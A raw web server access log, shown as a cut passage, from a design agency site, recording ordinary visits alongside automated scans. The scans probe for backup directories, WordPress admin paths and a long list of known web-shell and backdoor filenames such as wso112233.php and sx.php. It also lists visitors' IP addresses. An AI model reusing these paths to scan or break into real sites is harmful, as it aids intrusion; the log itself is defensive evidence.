AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:21:18:20 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:21:18:21 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 128.24.49.172 - - [13/Apr/2025:21:18:24 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 43.152.72.244 - - [13/Apr/2025:21:28:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.220.101.17 - - [13/Apr/2025:21:53:52 -0400] "GET / HTTP/1.1" 301 795 "designpitara.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4093.3 Safari/537.36" 185.254.196.141 - - [13/Apr/2025:22:10:28 -0400] "GET / HTTP/1.1" 301 795 "designpitara.com" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 OPR/69.0.3686.95" 13.79.31.54 - - [13/Apr/2025:22:16:24 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:22:16:26 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:22:16:27 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:22:16:27 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:22:16:28 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:22:16:29 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:22:16:29 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:22:16:30 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:22:16:31 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [13/Apr/2025:22:16:31 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 120.229.108.46 - - [13/Apr/2025:22:47:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:20 -0400] "GET /about-us HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:36 -0400] "GET /logo-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:39 -0400] "GET /marketing-material-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:43 -0400] "GET /packaging-design-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:47 -0400] "GET /3d-product-packaging-mockup HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:50 -0400] "GET /explainer-animation-video HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:52 -0400] "GET /product-photography-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:56 -0400] "GET /website-designing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:47:59 -0400] "GET /static-website-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:03 -0400] "GET /dynamic-website-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:06 -0400] "GET /ecommerce-website-design-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:09 -0400] "GET /blog-maintenance HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:12 -0400] "GET /website-redesign HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:16 -0400] "GET /search-engine-optimization-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:19 -0400] "GET /social-media-marketing-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:22 -0400] "GET /pay-per-click-service HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:27 -0400] "GET /facebook-marketing-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:31 -0400] "GET /content-writing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:35 -0400] "GET /google-business-listing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:38 -0400] "GET /graphic-design-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:42 -0400] "GET /website-maintenance HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:44 -0400] "GET /infographic-resume HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:47 -0400] "GET /business-infographic HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:49 -0400] "GET /portfolio HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:53 -0400] "GET /blog HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:48:56 -0400] "GET /e-commerce-website-service HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:49:01 -0400] "GET /website-design-company HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:49:04 -0400] "GET /social-media-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:49:07 -0400] "GET /digital-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:49:10 -0400] "GET /local-seo-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:49:13 -0400] "GET /corporate-branding HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:49:16 -0400] "GET /website-design-and-development-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 120.229.108.46 - - [13/Apr/2025:22:49:19 -0400] "GET /retainership-modules HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.54" 18.223.108.59 - - [13/Apr/2025:23:16:37 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 117.33.163.216 - - [13/Apr/2025:23:42:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2602:fa59:4:32d::1 - - [14/Apr/2025:00:07:33 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:4:32d::1 - - [14/Apr/2025:00:08:14 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:4:32d::1 - - [14/Apr/2025:00:08:37 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:4:32d::1 - - [14/Apr/2025:00:09:10 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:4:32d::1 - - [14/Apr/2025:00:10:01 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:4:32d::1 - - [14/Apr/2025:00:10:34 -0400] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:4:32d::1 - - [14/Apr/2025:00:11:31 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:4:32d::1 - - [14/Apr/2025:00:12:10 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:4:32d::1 - - [14/Apr/2025:00:12:46 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 2602:fa59:4:32d::1 - - [14/Apr/2025:00:13:27 -0400] "GET /wp-content/IXR/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 93.123.109.120 - - [14/Apr/2025:00:27:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9" 92.255.57.39 - - [14/Apr/2025:00:51:55 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 156.59.172.66 - - [14/Apr/2025:00:59:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0" 212.30.36.106 - - [14/Apr/2025:01:59:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 212.30.36.125 - - [14/Apr/2025:02:06:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 212.30.36.148 - - [14/Apr/2025:02:08:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 212.30.36.139 - - [14/Apr/2025:02:13:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 212.30.36.150 - - [14/Apr/2025:02:13:39 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 212.30.36.125 - - [14/Apr/2025:02:13:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 212.30.36.114 - - [14/Apr/2025:02:16:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 43.173.1.69 - - [14/Apr/2025:02:18:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 208.100.26.235 - - [14/Apr/2025:02:53:41 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148" 52.168.149.254 - - [14/Apr/2025:03:01:18 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:20 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:21 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:22 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:23 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:25 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:26 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:28 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:30 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:32 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:32 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:33 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:35 -0400] "GET /wp-content/plugins/dclxurc/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:36 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:37 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:38 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:39 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:39 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:40 -0400] "GET /api_upload.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:42 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:42 -0400] "GET /wp-content/plugins/pxgpozm/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:43 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:43 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:45 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:47 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:48 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:50 -0400] "GET /wp-content/themes/kzdx3sro/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:51 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:52 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:52 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:53 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:54 -0400] "GET /wp-content/plugins/TOPXOH/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:54 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:55 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:55 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:57 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:58 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:58 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:01:59 -0400] "GET /sql_editor.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:00 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:00 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:02 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:03 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:03 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:05 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:06 -0400] "GET /wp-content/themes/index HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:07 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:08 -0400] "GET /cgi-bin/cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:09 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:10 -0400] "GET /wp-mail.php/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:11 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:12 -0400] "GET /wp-includes/gCdfg/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:13 -0400] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:14 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:18 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:19 -0400] "GET /ssl_check.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:20 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:21 -0400] "GET /reportes/wp-content/themes/e6rffsr5/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:23 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:27 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:30 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:32 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - [14/Apr/2025:03:02:35 -0400] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "-" 52.168.149.254 - - 